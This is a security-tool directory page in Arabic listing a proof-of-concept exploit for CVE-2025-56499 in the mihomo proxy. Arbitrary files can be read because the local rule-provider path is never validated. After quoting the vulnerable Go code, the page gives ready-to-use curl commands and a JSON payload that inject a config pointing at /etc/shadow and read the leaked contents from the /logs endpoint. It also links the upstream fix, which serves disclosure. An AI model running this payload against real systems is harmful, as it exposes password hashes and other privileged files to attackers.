Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-56499 — إثبات مفهوم لاستغلال CVE-2025-56499، يوضح قراءة ملفات تعسفية عبر غياب التحقق من المسار في إعدادات rule-provider الخاصة بـ mihomo، مع استخراج البيانات القائم على السجلات. | Kitploit
أدوات/GitHubGitHub/cherrling/cve-2025-56499
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقتحليل السجلات
GitHubcherrling/cve-2025-56499

CVE-2025-56499

إثبات مفهوم لاستغلال CVE-2025-56499، يوضح قراءة ملفات تعسفية عبر غياب التحقق من المسار في إعدادات rule-provider الخاصة بـ mihomo، مع استخراج البيانات القائم على السجلات.

عرض المستودع
4منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-56499

قراءة ملف عشوائي عبر عدم التحقق من صحة المسار في موفر القاعدة المحلي

الإصلاح في المصدر: https://github.com/MetaCubeX/mihomo/pull/2177

الإصدارات المتأثرة: mihomo <= v1.19.11

ملخص

عند تحليل تكوين rule-providers، يفشل الفرع type = "file" في التحقق من صحة المسار المقدم. يمكن للمهاجم المُوثَّق الذي يتحكم في schema.Path توجيه الموفر إلى أي ملف محلي قابل للقراءة. نظرًا لأن معظم الملفات العشوائية لا تتوافق مع تنسيق القاعدة المتوقع، يتم إصدار أخطاء التحليل (بما في ذلك أجزاء كبيرة من محتوى الملف) في سجلات الذاكرة ويتم كشفها من خلال واجهة /logs. نظرًا لأن mihomo يعمل غالبًا بصلاحيات مرتفعة (جذر / مسؤول)، ينتج عن ذلك تسريب معلومات عالي التأثير.

النوع والسبب الجذري

  • النوع: قراءة ملف عشوائي / عدم التحقق من صحة المسار.
  • السبب المباشر: في rules/provider/parse.go، تستدعي حالة schema.Type == "file" فقط C.Path.Resolve() ولا تفرض أبدًا C.Path.IsSafePath() أو أي قيد قائمة بيضاء / صندوق رمل معادل.
  • root@kitploit:~
    var vehicle P.Vehicle
    switch schema.Type {
    case "file":
        path := C.Path.Resolve(schema.Path)
        vehicle = resource.NewFileVehicle(path)
    case "http":
        path := C.Path.GetPathByHash("rules", schema.URL)
        if schema.Path != "" {
            path = C.Path.Resolve(schema.Path)
            if !C.Path.IsSafePath(path) {
                return nil, C.Path.ErrNotSafePath(path)
            }
        }
        vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
    case "inline":
        return NewInlineProvider(name, behavior, schema.Payload, parse), nil
    default:
        return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
    }
    

    أوجه القصور في فرع الملف:

    • لا يوجد توحيد للمسار + تطبيق حدود الأمان.
    • يسمح بمسارات مطلقة تشير إلى مواقع حساسة في النظام.

    تدفق الاستغلال

    1. يقوم المهاجم بجلب أو بث /logs لالتقاط مخرجات أخطاء المحلل.
    2. يقدم المهاجم تكوينًا معدًا عبر /configs يحتوي على إدخال rule-providers ضار مع type = file ومسار ملف الهدف.
    3. تحاول الخدمة تحليل الملف كبيانات قاعدة → تفشل → تصدر خطأ وأجزاء محتوى في السجلات.
    4. يجمع المهاجم البيانات المسربة؛ يكرر العملية لتوسيع التغطية أو تحسين الاستخراج.

    برهان المفهوم (PoC)

    استمع للسجلات (مثال رمز Bearer 123):

    root@kitploit:~
    curl -X GET "http://localhost:9999/logs" \
      -H "Authorization: Bearer 123"
    

    حقن التكوين لقراءة /etc/shadow:

    root@kitploit:~
    curl -X PUT "http://localhost:9999/configs" \
      -H "Authorization: Bearer 123" \
      -H "Content-Type: application/json" \
      -d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
    

    الحمولة غير المهربة:

    root@kitploit:~
    {
      "log-level": "debug",
      "external-controller-unix": "mihomo.sock",
      "rule-providers": {
        "pwn": {
          "type": "file",
          "behavior": "classical",
          "format": "text",
          "path": "/etc/shadow"
        }
      }
    }
    

    النتيجة: أسطر فشل التحليل في /logs تحتوي على أجزاء من /etc/shadow (لقطة شاشة مثال): PoC Partial

    تنزيل الأداة